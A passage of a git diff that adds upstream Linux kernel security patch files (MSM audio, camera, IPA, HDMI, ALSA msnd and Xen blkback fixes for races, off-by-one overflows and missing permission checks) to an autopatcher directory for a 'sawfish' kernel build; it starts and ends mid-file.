-26,11 +26,14 @@ + #include + #include + #include ++#include + #include "audio_utils_aio.h" + #ifdef CONFIG_USE_DEV_CTRL_VOLUME + #include + #endif /*CONFIG_USE_DEV_CTRL_VOLUME*/ ++DEFINE_MUTEX(lock); + #ifdef CONFIG_DEBUG_FS ++ + int audio_aio_debug_open(struct inode *inode, struct file *file) + { + file->private_data = inode->i_private; +@@ -43,29 +46,37 @@ ssize_t audio_aio_debug_read(struct file *file, char __user *buf, + const int debug_bufmax = 4096; + static char buffer[4096]; + int n = 0; +- struct q6audio_aio *audio = file->private_data; ++ struct q6audio_aio *audio; + +- mutex_lock(&audio->lock); +- n = scnprintf(buffer, debug_bufmax, "opened %d\n", audio->opened); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "enabled %d\n", audio->enabled); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "stopped %d\n", audio->stopped); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "feedback %d\n", audio->feedback); +- mutex_unlock(&audio->lock); +- /* Following variables are only useful for debugging when +- * when playback halts unexpectedly. Thus, no mutual exclusion +- * enforced +- */ +- n += scnprintf(buffer + n, debug_bufmax - n, +- "wflush %d\n", audio->wflush); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "rflush %d\n", audio->rflush); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "inqueue empty %d\n", list_empty(&audio->in_queue)); +- n += scnprintf(buffer + n, debug_bufmax - n, +- "outqueue empty %d\n", list_empty(&audio->out_queue)); ++ mutex_lock(&lock); ++ if (file->private_data != NULL) { ++ audio = file->private_data; ++ mutex_lock(&audio->lock); ++ n = scnprintf(buffer, debug_bufmax, "opened %d\n", ++ audio->opened); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "enabled %d\n", audio->enabled); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "stopped %d\n", audio->stopped); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "feedback %d\n", audio->feedback); ++ mutex_unlock(&audio->lock); ++ /* Following variables are only useful for debugging when ++ * when playback halts unexpectedly. Thus, no mutual exclusion ++ * enforced ++ */ ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "wflush %d\n", audio->wflush); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "rflush %d\n", audio->rflush); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "inqueue empty %d\n", ++ list_empty(&audio->in_queue)); ++ n += scnprintf(buffer + n, debug_bufmax - n, ++ "outqueue empty %d\n", ++ list_empty(&audio->out_queue)); ++ } ++ mutex_unlock(&lock); + buffer[n] = 0; + return simple_read_from_buffer(buf, count, ppos, buffer, n); + } +@@ -572,6 +583,7 @@ int audio_aio_release(struct inode *inode, struct file *file) + { + struct q6audio_aio *audio = file->private_data; + pr_debug("%s[%pK]\n", __func__, audio); ++ mutex_lock(&lock); + mutex_lock(&audio->lock); + mutex_lock(&audio->read_lock); + mutex_lock(&audio->write_lock); +@@ -615,6 +627,8 @@ int audio_aio_release(struct inode *inode, struct file *file) + #endif + kfree(audio->codec_cfg); + kfree(audio); ++ file->private_data = NULL; ++ mutex_unlock(&lock); + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0250-35855e455a1f-PATCH ASoC msmcpe Fix range checking in function fwnamestore.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0250-35855e455a1f-PATCH ASoC msmcpe Fix range checking in function fwnamestore.patch new file mode 100644 index 0000000..88981b6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0250-35855e455a1f-PATCH ASoC msmcpe Fix range checking in function fwnamestore.patch @@ -0,0 +1,34 @@ +From 35855e455a1f02292a3a78884f261a741b40e126 Mon Sep 17 00:00:00 2001 +From: Xiaoyu Ye +Date: Fri, 12 May 2017 16:09:01 -0700 +Subject: [PATCH] ASoC: msm-cpe: Fix range checking in function fw_name_store + +The range checking between "WCD_CPE_IMAGE_FNAME_MAX" and +"copy_count" is off-by-one due to the size of array +"core->dyn_fname" is "WCD_CPE_IMAGE_FNAME_MAX". Subtract +one from the range checking to fix this issue. + +Bug: 63868780 +Change-Id: I87fd55206f79ad7b13c3878f6642bf5579303b17 +Signed-off-by: Xiaoyu Ye +--- + sound/soc/codecs/wcd_cpe_core.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/sound/soc/codecs/wcd_cpe_core.c b/sound/soc/codecs/wcd_cpe_core.c +index 5f7809eca8d52..ad735a85926e7 100644 +--- a/sound/soc/codecs/wcd_cpe_core.c ++++ b/sound/soc/codecs/wcd_cpe_core.c +@@ -1742,10 +1742,10 @@ static ssize_t fw_name_store(struct wcd_cpe_core *core, + if (pos) + copy_count = pos - buf; + +- if (copy_count > WCD_CPE_IMAGE_FNAME_MAX) { ++ if (copy_count > (WCD_CPE_IMAGE_FNAME_MAX - 1)) { + dev_err(core->dev, + "%s: Invalid length %d, max allowed %d\n", +- __func__, copy_count, WCD_CPE_IMAGE_FNAME_MAX); ++ __func__, copy_count, WCD_CPE_IMAGE_FNAME_MAX - 1); + return -EINVAL; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0251-3ce3b95ae04b-msm camera Unlock rwlock before returning.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0251-3ce3b95ae04b-msm camera Unlock rwlock before returning.patch new file mode 100644 index 0000000..bd4b783 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0251-3ce3b95ae04b-msm camera Unlock rwlock before returning.patch @@ -0,0 +1,36 @@ +From 3ce3b95ae04ba971367b5a1cf279a68946b1d141 Mon Sep 17 00:00:00 2001 +From: Trishansh Bhardwaj +Date: Tue, 4 Jul 2017 14:13:15 +0530 +Subject: msm: camera: Unlock rwlock before returning. + +put_buf and buf_done are not unlocking rwlock in error case. + +Change-Id: Ie10afa15f332cf7bd38be69ea8b99b163b125e66 +Signed-off-by: Trishansh Bhardwaj +--- + drivers/media/platform/msm/camera_v2/msm_vb2/msm_vb2.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/media/platform/msm/camera_v2/msm_vb2/msm_vb2.c b/drivers/media/platform/msm/camera_v2/msm_vb2/msm_vb2.c +index 834e8fa..e595aa9 100644 +--- a/drivers/media/platform/msm/camera_v2/msm_vb2/msm_vb2.c ++++ b/drivers/media/platform/msm/camera_v2/msm_vb2/msm_vb2.c +@@ -371,6 +371,7 @@ static int msm_vb2_put_buf(struct vb2_buffer *vb, int session_id, + pr_err("VB buffer is INVALID vb=%pK, ses_id=%d, str_id=%d\n", + vb, session_id, stream_id); + spin_unlock_irqrestore(&stream->stream_lock, flags); ++ read_unlock(&session->stream_rwlock); + return -EINVAL; + } + msm_vb2 = +@@ -424,6 +425,7 @@ static int msm_vb2_buf_done(struct vb2_buffer *vb, int session_id, + pr_err("VB buffer is INVALID ses_id=%d, str_id=%d, vb=%pK\n", + session_id, stream_id, vb); + spin_unlock_irqrestore(&stream->stream_lock, flags); ++ read_unlock(&session->stream_rwlock); + return -EINVAL; + } + msm_vb2 = +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0252.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0252.diff new file mode 100644 index 0000000..63bd81f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0252.diff @@ -0,0 +1,26 @@ +diff --git a/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c b/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c +index 84bd6e3..c15c76f 100644 +--- a/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c ++++ b/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c +@@ -1305,6 +1305,8 @@ + + /* Extended IOCTLs */ + case RMNET_IOCTL_EXTENDED: ++ if (!ns_capable(dev_net(dev)->user_ns, CAP_NET_ADMIN)) ++ return -EPERM; + IPAWANDBG("get ioctl: RMNET_IOCTL_EXTENDED\n"); + if (copy_from_user(&extend_ioctl_data, + (u8 *)ifr->ifr_ifru.ifru_data, +diff --git a/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c b/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c +index a225826..a91e577 100644 +--- a/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c ++++ b/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c +@@ -1326,6 +1326,8 @@ + + /* Extended IOCTLs */ + case RMNET_IOCTL_EXTENDED: ++ if (!ns_capable(dev_net(dev)->user_ns, CAP_NET_ADMIN)) ++ return -EPERM; + IPAWANDBG("get ioctl: RMNET_IOCTL_EXTENDED\n"); + if (copy_from_user(&extend_ioctl_data, + (u8 *)ifr->ifr_ifru.ifru_data, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0253-cd7e77fbab7e-msm mdss size check before writing to edid buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0253-cd7e77fbab7e-msm mdss size check before writing to edid buffer.patch new file mode 100644 index 0000000..95cd464 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0253-cd7e77fbab7e-msm mdss size check before writing to edid buffer.patch @@ -0,0 +1,33 @@ +From cd7e77fbab7e2b7e737a10d5300e826572fee82f Mon Sep 17 00:00:00 2001 +From: Ashish Garg +Date: Mon, 5 Jun 2017 14:58:28 +0530 +Subject: msm: mdss: size check before writing to edid buffer + +To update custom edid through sysfs node, there was no check +on the edid size passed. The user can overwrite the edid buffer. +To prevent buffer overflow, ensure that edid size is validated +with the edid buffer size before writing to the buffer. + +Change-Id: I8604ea2d25f3a4985749bd037497d242b0621519 +Signed-off-by: Ashish Garg +--- + drivers/video/msm/mdss/mdss_hdmi_tx.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_hdmi_tx.c b/drivers/video/msm/mdss/mdss_hdmi_tx.c +index edde785..6bb45ee 100644 +--- a/drivers/video/msm/mdss/mdss_hdmi_tx.c ++++ b/drivers/video/msm/mdss/mdss_hdmi_tx.c +@@ -542,7 +542,8 @@ static ssize_t hdmi_tx_sysfs_wta_edid(struct device *dev, + } + + mutex_lock(&hdmi_ctrl->tx_lock); +- if (edid_size < EDID_BLOCK_SIZE) { ++ if ((edid_size < EDID_BLOCK_SIZE) || ++ (edid_size > hdmi_ctrl->edid_buf_size)) { + DEV_DBG("%s: disabling custom edid\n", __func__); + + ret = -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0254-bceac1033cd9-ALSA msnd Optimize harden DSP and MIDI loops.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0254-bceac1033cd9-ALSA msnd Optimize harden DSP and MIDI loops.patch new file mode 100644 index 0000000..308d516 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0254-bceac1033cd9-ALSA msnd Optimize harden DSP and MIDI loops.patch @@ -0,0 +1,111 @@ +From bceac1033cd99ff5d2aaa69c700367f866bf6f04 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 6 Jul 2017 12:34:40 +0200 +Subject: ALSA: msnd: Optimize / harden DSP and MIDI loops + +commit 20e2b791796bd68816fa115f12be5320de2b8021 upstream. + +The ISA msnd drivers have loops fetching the ring-buffer head, tail +and size values inside the loops. Such codes are inefficient and +fragile. + +This patch optimizes it, and also adds the sanity check to avoid the +endless loops. + +Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196131 +Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196133 +Signed-off-by: Takashi Iwai +Signed-off-by: grygorii tertychnyi +Signed-off-by: Greg Kroah-Hartman +--- + sound/isa/msnd/msnd_midi.c | 30 +++++++++++++++--------------- + sound/isa/msnd/msnd_pinnacle.c | 23 ++++++++++++----------- + 2 files changed, 27 insertions(+), 26 deletions(-) + +diff --git a/sound/isa/msnd/msnd_midi.c b/sound/isa/msnd/msnd_midi.c +index ffc67fd80c23..58e59cd3c95c 100644 +--- a/sound/isa/msnd/msnd_midi.c ++++ b/sound/isa/msnd/msnd_midi.c +@@ -120,24 +120,24 @@ void snd_msndmidi_input_read(void *mpuv) + unsigned long flags; + struct snd_msndmidi *mpu = mpuv; + void *pwMIDQData = mpu->dev->mappedbase + MIDQ_DATA_BUFF; ++ u16 head, tail, size; + + spin_lock_irqsave(&mpu->input_lock, flags); +- while (readw(mpu->dev->MIDQ + JQS_wTail) != +- readw(mpu->dev->MIDQ + JQS_wHead)) { +- u16 wTmp, val; +- val = readw(pwMIDQData + 2 * readw(mpu->dev->MIDQ + JQS_wHead)); +- +- if (test_bit(MSNDMIDI_MODE_BIT_INPUT_TRIGGER, +- &mpu->mode)) +- snd_rawmidi_receive(mpu->substream_input, +- (unsigned char *)&val, 1); +- +- wTmp = readw(mpu->dev->MIDQ + JQS_wHead) + 1; +- if (wTmp > readw(mpu->dev->MIDQ + JQS_wSize)) +- writew(0, mpu->dev->MIDQ + JQS_wHead); +- else +- writew(wTmp, mpu->dev->MIDQ + JQS_wHead); ++ head = readw(mpu->dev->MIDQ + JQS_wHead); ++ tail = readw(mpu->dev->MIDQ + JQS_wTail); ++ size = readw(mpu->dev->MIDQ + JQS_wSize); ++ if (head > size || tail > size) ++ goto out; ++ while (head != tail) { ++ unsigned char val = readw(pwMIDQData + 2 * head); ++ ++ if (test_bit(MSNDMIDI_MODE_BIT_INPUT_TRIGGER, &mpu->mode)) ++ snd_rawmidi_receive(mpu->substream_input, &val, 1); ++ if (++head > size) ++ head = 0; ++ writew(head, mpu->dev->MIDQ + JQS_wHead); + } ++ out: + spin_unlock_irqrestore(&mpu->input_lock, flags); + } + EXPORT_SYMBOL(snd_msndmidi_input_read); +diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c +index 5016bf957f51..cf70dba80124 100644 +--- a/sound/isa/msnd/msnd_pinnacle.c ++++ b/sound/isa/msnd/msnd_pinnacle.c +@@ -170,23 +170,24 @@ static irqreturn_t snd_msnd_interrupt(int irq, void *dev_id) + { + struct snd_msnd *chip = dev_id; + void *pwDSPQData = chip->mappedbase + DSPQ_DATA_BUFF; ++ u16 head, tail, size; + + /* Send ack to DSP */ + /* inb(chip->io + HP_RXL); */ + + /* Evaluate queued DSP messages */ +- while (readw(chip->DSPQ + JQS_wTail) != readw(chip->DSPQ + JQS_wHead)) { +- u16 wTmp; +- +- snd_msnd_eval_dsp_msg(chip, +- readw(pwDSPQData + 2 * readw(chip->DSPQ + JQS_wHead))); +- +- wTmp = readw(chip->DSPQ + JQS_wHead) + 1; +- if (wTmp > readw(chip->DSPQ + JQS_wSize)) +- writew(0, chip->DSPQ + JQS_wHead); +- else +- writew(wTmp, chip->DSPQ + JQS_wHead); ++ head = readw(chip->DSPQ + JQS_wHead); ++ tail = readw(chip->DSPQ + JQS_wTail); ++ size = readw(chip->DSPQ + JQS_wSize); ++ if (head > size || tail > size) ++ goto out; ++ while (head != tail) { ++ snd_msnd_eval_dsp_msg(chip, readw(pwDSPQData + 2 * head)); ++ if (++head > size) ++ head = 0; ++ writew(head, chip->DSPQ + JQS_wHead); + } ++ out: + /* Send ack to DSP */ + inb(chip->io + HP_RXL); + return IRQ_HANDLED; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0255.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0255.diff new file mode 100644 index 0000000..86e4c8b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0255.diff @@ -0,0 +1,103 @@ +diff --git a/drivers/block/xen-blkback/blkback.c b/drivers/block/xen-blkback/blkback.c +index 4eeae8a..6686af3 100644 +--- a/drivers/block/xen-blkback/blkback.c ++++ b/drivers/block/xen-blkback/blkback.c +@@ -1350,33 +1350,34 @@ + static void make_response(struct xen_blkif *blkif, u64 id, + unsigned short op, int st) + { +- struct blkif_response resp; ++ struct blkif_response *resp; + unsigned long flags; + union blkif_back_rings *blk_rings = &blkif->blk_rings; + int notify; + +- resp.id = id; +- resp.operation = op; +- resp.status = st; +- + spin_lock_irqsave(&blkif->blk_ring_lock, flags); + /* Place on the response ring for the relevant domain. */ + switch (blkif->blk_protocol) { + case BLKIF_PROTOCOL_NATIVE: +- memcpy(RING_GET_RESPONSE(&blk_rings->native, blk_rings->native.rsp_prod_pvt), +- &resp, sizeof(resp)); ++ resp = RING_GET_RESPONSE(&blk_rings->native, ++ blk_rings->native.rsp_prod_pvt); + break; + case BLKIF_PROTOCOL_X86_32: +- memcpy(RING_GET_RESPONSE(&blk_rings->x86_32, blk_rings->x86_32.rsp_prod_pvt), +- &resp, sizeof(resp)); ++ resp = RING_GET_RESPONSE(&blk_rings->x86_32, ++ blk_rings->x86_32.rsp_prod_pvt); + break; + case BLKIF_PROTOCOL_X86_64: +- memcpy(RING_GET_RESPONSE(&blk_rings->x86_64, blk_rings->x86_64.rsp_prod_pvt), +- &resp, sizeof(resp)); ++ resp = RING_GET_RESPONSE(&blk_rings->x86_64, ++ blk_rings->x86_64.rsp_prod_pvt); + break; + default: + BUG(); + } ++ ++ resp->id = id; ++ resp->operation = op; ++ resp->status = st; ++ + blk_rings->common.rsp_prod_pvt++; + RING_PUSH_RESPONSES_AND_CHECK_NOTIFY(&blk_rings->common, notify); + spin_unlock_irqrestore(&blkif->blk_ring_lock, flags); +diff --git a/drivers/block/xen-blkback/common.h b/drivers/block/xen-blkback/common.h +index f65b807..adbae27 100644 +--- a/drivers/block/xen-blkback/common.h ++++ b/drivers/block/xen-blkback/common.h +@@ -70,9 +70,8 @@ + struct blkif_common_request { + char dummy; + }; +-struct blkif_common_response { +- char dummy; +-}; ++ ++/* i386 protocol version */ + + struct blkif_x86_32_request_rw { + uint8_t nr_segments; /* number of segments */ +@@ -124,14 +123,6 @@ + } u; + } __attribute__((__packed__)); + +-/* i386 protocol version */ +-#pragma pack(push, 4) +-struct blkif_x86_32_response { +- uint64_t id; /* copied from request */ +- uint8_t operation; /* copied from request */ +- int16_t status; /* BLKIF_RSP_??? */ +-}; +-#pragma pack(pop) + /* x86_64 protocol version */ + + struct blkif_x86_64_request_rw { +@@ -188,18 +179,12 @@ + } u; + } __attribute__((__packed__)); + +-struct blkif_x86_64_response { +- uint64_t __attribute__((__aligned__(8))) id; +- uint8_t operation; /* copied from request */ +- int16_t status; /* BLKIF_RSP_??? */ +-}; +- + DEFINE_RING_TYPES(blkif_common, struct blkif_common_request, +- struct blkif_common_response); ++ struct blkif_response); + DEFINE_RING_TYPES(blkif_x86_32, struct blkif_x86_32_request, +- struct blkif_x86_32_response); ++ struct blkif_response __packed); + DEFINE_RING_TYPES(blkif_x86_64, struct blkif_x86_64_request, +- struct blkif_x86_64_response); ++ struct blkif_response); + + union blkif_back_rings { + struct blkif_back_ring native; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0256-573e3ca10889-msm camera fix offbyone overflow in msmispgetbufq.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0256-573e3ca10889-msm camera fix offbyone overflow in msmispgetbufq.patch new file mode 100644 index 0000000..7050f35 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0256-573e3ca10889-msm camera fix offbyone overflow in msmispgetbufq.patch @@ -0,0 +1,35 @@ +From 573e3ca10889054c33246b8bc11eadb304d1a1e3 Mon Sep 17 00:00:00 2001 +From: VijayaKumar T M +Date: Wed, 2 Aug 2017 15:49:16 +0530 +Subject: msm: camera: fix off-by-one overflow in msm_isp_get_bufq + +In msm_isp_get_bufq, if bufq_index equals buf_mgr->num_buf_q, +it will pass the check, leading to off-by-one overflow +(exceed the length of array by one element). + +CRs-Fixed: 2031677 +Change-Id: I7ea465897e2c37de6ca0155c3e225f1444b3cf13 +Signed-off-by: Gaoxiang Chen +Signed-off-by: VijayaKumar T M +--- + drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c b/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c +index bf0d201..f709b0d 100644 +--- a/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c ++++ b/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c +@@ -45,8 +45,8 @@ struct msm_isp_bufq *msm_isp_get_bufq( + uint32_t bufq_index = bufq_handle & 0xFF; + + if ((bufq_handle == 0) || +- (bufq_index > buf_mgr->num_buf_q) || +- (bufq_index >= BUF_MGR_NUM_BUF_Q) ) ++ (bufq_index >= buf_mgr->num_buf_q) || ++ (bufq_index >= BUF_MGR_NUM_BUF_Q)) + return NULL; + + bufq = &buf_mgr->bufq[bufq_index]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0257-95e72ae9281b-ASoC msm qdspv2 add mutex to prevent access same memory.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0257-95e72ae9281b-ASoC msm qdspv2 add mutex to prevent access same memory.patch new file mode 100644 index 0000000..1969cbb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0257-95e72ae9281b-ASoC msm qdspv2 add mutex to prevent access same memory.patch @@ -0,0 +1,248 @@ +From 95e72ae9281b77abc3ed0cc6a33c17b989241efa Mon Sep 17 00:00:00 2001 +From: kunleiz +Date: Sun, 26 Mar 2017 20:07:43 +0800 +Subject: ASoC: msm: qdspv2: add mutex to prevent access same memory + simultaneously + +Add mutex protection to avoid simultaneous access the +same memory by multiple threads. + +CRs-Fixed: 2013494 +Change-Id: I440ea633ceb7312637c9a3b29d22236166d21a39 +Signed-off-by: kunleiz +--- + drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c | 34 +++++++++++++++++++++++++ + 1 file changed, 34 insertions(+) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c b/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c +index 089a827..e7c28a6 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_hwacc_effects.c +@@ -148,6 +148,8 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + case AUDIO_START: { + pr_debug("%s: AUDIO_START\n", __func__); + ++ mutex_lock(&effects->lock); ++ + rc = q6asm_open_read_write_v2(effects->ac, + FORMAT_LINEAR_PCM, + FORMAT_MULTI_CHANNEL_LINEAR_PCM, +@@ -159,6 +161,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: Open failed for hw accelerated effects:rc=%d\n", + __func__, rc); + rc = -EINVAL; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + effects->opened = 1; +@@ -175,6 +178,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: Write buffer Allocation failed rc = %d\n", + __func__, rc); + rc = -ENOMEM; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + atomic_set(&effects->in_count, effects->config.input.num_buf); +@@ -185,6 +189,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: Read buffer Allocation failed rc = %d\n", + __func__, rc); + rc = -ENOMEM; ++ mutex_unlock(&effects->lock); + goto readbuf_fail; + } + atomic_set(&effects->out_count, effects->config.output.num_buf); +@@ -199,6 +204,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + if (rc < 0) { + pr_err("%s: pcm read block config failed\n", __func__); + rc = -EINVAL; ++ mutex_unlock(&effects->lock); + goto cfg_fail; + } + pr_debug("%s: dec: sample_rate: %d, num_channels: %d, bit_width: %d\n", +@@ -213,6 +219,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + pr_err("%s: pcm write format block config failed\n", + __func__); + rc = -EINVAL; ++ mutex_unlock(&effects->lock); + goto cfg_fail; + } + +@@ -225,6 +232,7 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + effects->started = 0; + pr_err("%s: ASM run state failed\n", __func__); + } ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_WRITE: { +@@ -286,8 +294,11 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + uint32_t idx = 0; + uint32_t size = 0; + ++ mutex_lock(&effects->lock); ++ + if (!effects->started) { + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + +@@ -304,11 +315,13 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + if (!rc) { + pr_err("%s: read wait_event_timeout\n", __func__); + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + if (!atomic_read(&effects->in_count)) { + pr_err("%s: pcm stopped in_count 0\n", __func__); + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + +@@ -316,15 +329,18 @@ static int audio_effects_shared_ioctl(struct file *file, unsigned cmd, + if (bufptr) { + if (!((void *)arg)) { + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + if ((effects->config.buf_cfg.input_len > size) || + copy_to_user((void *)arg, bufptr, + effects->config.buf_cfg.input_len)) { + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + goto ioctl_fail; + } + } ++ mutex_unlock(&effects->lock); + break; + } + default: +@@ -456,6 +472,7 @@ static long audio_effects_ioctl(struct file *file, unsigned int cmd, + switch (cmd) { + case AUDIO_SET_EFFECTS_CONFIG: { + pr_debug("%s: AUDIO_SET_EFFECTS_CONFIG\n", __func__); ++ mutex_lock(&effects->lock); + memset(&effects->config, 0, sizeof(effects->config)); + if (copy_from_user(&effects->config, (void *)arg, + sizeof(effects->config))) { +@@ -473,6 +490,7 @@ static long audio_effects_ioctl(struct file *file, unsigned int cmd, + effects->config.input.num_buf, + effects->config.input.sample_rate, + effects->config.input.num_channels); ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_SET_BUF_LEN: { +@@ -494,6 +512,7 @@ static long audio_effects_ioctl(struct file *file, unsigned int cmd, + + buf_avail.input_num_avail = atomic_read(&effects->in_count); + buf_avail.output_num_avail = atomic_read(&effects->out_count); ++ mutex_lock(&effects->lock); + pr_debug("%s: write buf avail: %d, read buf avail: %d\n", + __func__, buf_avail.output_num_avail, + buf_avail.input_num_avail); +@@ -503,16 +522,20 @@ static long audio_effects_ioctl(struct file *file, unsigned int cmd, + __func__); + rc = -EFAULT; + } ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_SET_PP_PARAMS: { ++ mutex_lock(&effects->lock); + if (copy_from_user(argvalues, (void *)arg, + MAX_PP_PARAMS_SZ*sizeof(long))) { + pr_err("%s: copy from user for pp params failed\n", + __func__); ++ mutex_unlock(&effects->lock); + return -EFAULT; + } + rc = audio_effects_set_pp_param(effects, argvalues); ++ mutex_unlock(&effects->lock); + break; + } + default: +@@ -578,12 +601,14 @@ static long audio_effects_compat_ioctl(struct file *file, unsigned int cmd, + case AUDIO_SET_EFFECTS_CONFIG32: { + struct msm_hwacc_effects_config32 config32; + struct msm_hwacc_effects_config *config = &effects->config; ++ mutex_lock(&effects->lock); + memset(&effects->config, 0, sizeof(effects->config)); + if (copy_from_user(&config32, (void *)arg, + sizeof(config32))) { + pr_err("%s: copy to user for AUDIO_SET_EFFECTS_CONFIG failed\n", + __func__); + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + break; + } + config->input.buf_size = config32.input.buf_size; +@@ -620,16 +645,19 @@ static long audio_effects_compat_ioctl(struct file *file, unsigned int cmd, + effects->config.input.num_buf, + effects->config.input.sample_rate, + effects->config.input.num_channels); ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_SET_BUF_LEN32: { + struct msm_hwacc_buf_cfg32 buf_cfg32; + struct msm_hwacc_effects_config *config = &effects->config; ++ mutex_lock(&effects->lock); + if (copy_from_user(&buf_cfg32, (void *)arg, + sizeof(buf_cfg32))) { + pr_err("%s: copy from user for AUDIO_EFFECTS_SET_BUF_LEN failed\n", + __func__); + rc = -EFAULT; ++ mutex_unlock(&effects->lock); + break; + } + config->buf_cfg.input_len = buf_cfg32.input_len; +@@ -637,6 +665,7 @@ static long audio_effects_compat_ioctl(struct file *file, unsigned int cmd, + pr_debug("%s: write buf len: %d, read buf len: %d\n", + __func__, effects->config.buf_cfg.output_len, + effects->config.buf_cfg.input_len); ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_GET_BUF_AVAIL32: { +@@ -644,6 +673,7 @@ static long audio_effects_compat_ioctl(struct file *file, unsigned int cmd, + + memset(&buf_avail, 0, sizeof(buf_avail)); + ++ mutex_lock(&effects->lock); + buf_avail.input_num_avail = atomic_read(&effects->in_count); + buf_avail.output_num_avail = atomic_read(&effects->out_count); + pr_debug("%s: write buf avail: %d, read buf avail: %d\n", +@@ -655,22 +685,26 @@ static long audio_effects_compat_ioctl(struct file *file, unsigned int cmd, + __func__); + rc = -EFAULT; + } ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_EFFECTS_SET_PP_PARAMS32: { + long argvalues[MAX_PP_PARAMS_SZ] = {0}; + int argvalues32[MAX_PP_PARAMS_SZ] = {0}; + ++ mutex_lock(&effects->lock); + if (copy_from_user(argvalues32, (void *)arg, + MAX_PP_PARAMS_SZ*sizeof(int))) { + pr_err("%s: copy from user failed for pp params\n", + __func__); ++ mutex_unlock(&effects->lock); + return -EFAULT; + } + for (i = 0; i < MAX_PP_PARAMS_SZ; i++) + argvalues[i] = argvalues32[i]; + + rc = 